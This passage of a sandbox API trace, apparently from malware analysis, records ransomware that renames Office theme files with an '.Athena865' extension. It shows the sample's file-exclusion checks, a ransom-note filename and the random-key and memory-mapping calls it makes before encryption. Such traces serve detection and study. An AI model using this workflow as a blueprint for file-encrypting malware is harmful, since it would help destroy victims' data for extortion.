lpString2="dbf") returned 1 [0136.288] lstrlenW (lpString="mdf") returned 3 [0136.288] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.288] lstrlenW (lpString="mdb") returned 3 [0136.288] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.288] lstrlenW (lpString="sql") returned 3 [0136.288] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.289] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.Athena865") returned 84 [0136.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.athena865"), dwFlags=0x1) returned 1 [0136.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.291] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=959) returned 1 [0136.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.291] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.292] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.292] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.293] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.296] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.297] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.297] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.298] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2=".") returned 1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="..") returned 1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="windows") returned -1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootmgr") returned 1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="temp") returned -1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="pagefile.sys") returned -1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="boot") returned 1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="ids.txt") returned -1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntuser.dat") returned -1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="perflogs") returned -1 [0136.298] lstrcmpiW (lpString1="Foundry.xml", lpString2="MSBuild") returned -1 [0136.298] lstrlenW (lpString="Foundry.xml") returned 11 [0136.299] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Foundry.xml" | out: lpString1="Foundry.xml") returned="Foundry.xml" [0136.299] lstrlenW (lpString="Foundry.xml") returned 11 [0136.299] lstrlenW (lpString="Athena865") returned 9 [0136.299] lstrcmpiW (lpString1="undry.xml", lpString2="Athena865") returned 1 [0136.299] lstrlenW (lpString=".dll") returned 4 [0136.299] lstrcmpiW (lpString1="Foundry.xml", lpString2=".dll") returned 1 [0136.299] lstrlenW (lpString=".lnk") returned 4 [0136.299] lstrcmpiW (lpString1="Foundry.xml", lpString2=".lnk") returned 1 [0136.299] lstrlenW (lpString=".ini") returned 4 [0136.299] lstrcmpiW (lpString1="Foundry.xml", lpString2=".ini") returned 1 [0136.299] lstrlenW (lpString=".sys") returned 4 [0136.299] lstrcmpiW (lpString1="Foundry.xml", lpString2=".sys") returned 1 [0136.299] lstrlenW (lpString="Foundry.xml") returned 11 [0136.299] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.Athena865") returned 87 [0136.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.athena865"), dwFlags=0x1) returned 1 [0136.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.304] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=962) returned 1 [0136.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.307] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.309] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.309] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.309] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.310] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.311] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.312] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.312] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.312] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0136.312] lstrcmpiW (lpString1="Grayscale.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.312] lstrcmpiW (lpString1="Grayscale.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.312] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".") returned 1 [0136.312] lstrcmpiW (lpString1="Grayscale.xml", lpString2="..") returned 1 [0136.312] lstrcmpiW (lpString1="Grayscale.xml", lpString2="windows") returned -1 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2="bootmgr") returned 1 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2="temp") returned -1 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2="pagefile.sys") returned -1 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2="boot") returned 1 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2="ids.txt") returned -1 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2="ntuser.dat") returned -1 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2="perflogs") returned -1 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2="MSBuild") returned -1 [0136.313] lstrlenW (lpString="Grayscale.xml") returned 13 [0136.313] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Grayscale.xml" | out: lpString1="Grayscale.xml") returned="Grayscale.xml" [0136.313] lstrlenW (lpString="Grayscale.xml") returned 13 [0136.313] lstrlenW (lpString="Athena865") returned 9 [0136.313] lstrcmpiW (lpString1="scale.xml", lpString2="Athena865") returned 1 [0136.313] lstrlenW (lpString=".dll") returned 4 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".dll") returned 1 [0136.313] lstrlenW (lpString=".lnk") returned 4 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".lnk") returned 1 [0136.313] lstrlenW (lpString=".ini") returned 4 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".ini") returned 1 [0136.313] lstrlenW (lpString=".sys") returned 4 [0136.313] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".sys") returned 1 [0136.313] lstrlenW (lpString="Grayscale.xml") returned 13 [0136.313] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.Athena865") returned 89 [0136.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.athena865"), dwFlags=0x1) returned 1 [0136.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.316] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=928) returned 1 [0136.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.316] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.317] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.317] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.317] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x17c [0136.319] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000 [0136.322] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.326] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.326] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.328] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2=".") returned 1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="..") returned 1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="windows") returned -1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="bootmgr") returned 1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="temp") returned -1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="pagefile.sys") returned -1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="boot") returned 1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="ids.txt") returned -1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="ntuser.dat") returned -1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="perflogs") returned -1 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2="MSBuild") returned -1 [0136.328] lstrlenW (lpString="Grid.xml") returned 8 [0136.328] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Grid.xml" | out: lpString1="Grid.xml") returned="Grid.xml" [0136.328] lstrlenW (lpString="Grid.xml") returned 8 [0136.328] lstrlenW (lpString="Athena865") returned 9 [0136.328] lstrlenW (lpString=".dll") returned 4 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2=".dll") returned 1 [0136.328] lstrlenW (lpString=".lnk") returned 4 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2=".lnk") returned 1 [0136.328] lstrlenW (lpString=".ini") returned 4 [0136.328] lstrcmpiW (lpString1="Grid.xml", lpString2=".ini") returned 1 [0136.329] lstrlenW (lpString=".sys") returned 4 [0136.329] lstrcmpiW (lpString1="Grid.xml", lpString2=".sys") returned 1 [0136.329] lstrlenW (lpString="Grid.xml") returned 8 [0136.329] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.Athena865") returned 84 [0136.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.athena865"), dwFlags=0x1) returned 1 [0136.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.330] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=959) returned 1 [0136.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.331] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.331] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.332] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.332] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.334] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.334] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.335] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.335] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.336] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".") returned 1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="..") returned 1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="windows") returned -1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootmgr") returned 1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="temp") returned -1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="pagefile.sys") returned -1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="boot") returned 1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ids.txt") returned -1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntuser.dat") returned -1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="perflogs") returned -1 [0136.336] lstrcmpiW (lpString1="Hardcover.xml", lpString2="MSBuild") returned -1 [0136.336] lstrlenW (lpString="Hardcover.xml") returned 13 [0136.336] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Hardcover.xml" | out: lpString1="Hardcover.xml") returned="Hardcover.xml" [0136.336] lstrlenW (lpString="Hardcover.xml") returned 13 [0136.336] lstrlenW (lpString="Athena865") returned 9 [0136.336] lstrcmpiW (lpString1="cover.xml", lpString2="Athena865") returned 1 [0136.336] lstrlenW (lpString=".dll") returned 4 [0136.337] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".dll") returned 1 [0136.337] lstrlenW (lpString=".lnk") returned 4 [0136.337] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".lnk") returned 1 [0136.337] lstrlenW (lpString=".ini") returned 4 [0136.337] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".ini") returned 1 [0136.337] lstrlenW (lpString=".sys") returned 4 [0136.337] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".sys") returned 1 [0136.337] lstrlenW (lpString="Hardcover.xml") returned 13 [0136.337] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.Athena865") returned 89 [0136.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.athena865"), dwFlags=0x1) returned 1 [0136.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.338] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=964) returned 1 [0136.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.339] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.340] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.340] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.340] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.342] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.345] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.346] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.346] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.347] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0136.347] lstrcmpiW (lpString1="Horizon.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.347] lstrcmpiW (lpString1="Horizon.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.347] lstrcmpiW (lpString1="Horizon.xml", lpString2=".") returned 1 [0136.347] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Horizon.xml" | out: lpString1="Horizon.xml") returned="Horizon.xml" [0136.347] lstrlenW (lpString="Horizon.xml") returned 11 [0136.347] lstrlenW (lpString="Athena865") returned 9 [0136.347] lstrcmpiW (lpString1="rizon.xml", lpString2="Athena865") returned 1 [0136.347] lstrlenW (lpString=".dll") returned 4 [0136.347] lstrcmpiW (lpString1="Horizon.xml", lpString2=".dll") returned 1 [0136.347] lstrlenW (lpString=".lnk") returned 4 [0136.347] lstrcmpiW (lpString1="Horizon.xml", lpString2=".lnk") returned 1 [0136.348] lstrlenW (lpString=".ini") returned 4 [0136.348] lstrcmpiW (lpString1="Horizon.xml", lpString2=".ini") returned 1 [0136.348] lstrlenW (lpString=".sys") returned 4 [0136.348] lstrcmpiW (lpString1="Horizon.xml", lpString2=".sys") returned 1 [0136.348] lstrlenW (lpString="Horizon.xml") returned 11 [0136.348] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.Athena865") returned 87 [0136.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.athena865"), dwFlags=0x1) returned 1 [0136.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.367] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=926) returned 1 [0136.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.368] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.369] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.369] CryptReleaseContext (hProv=0x54ed48, 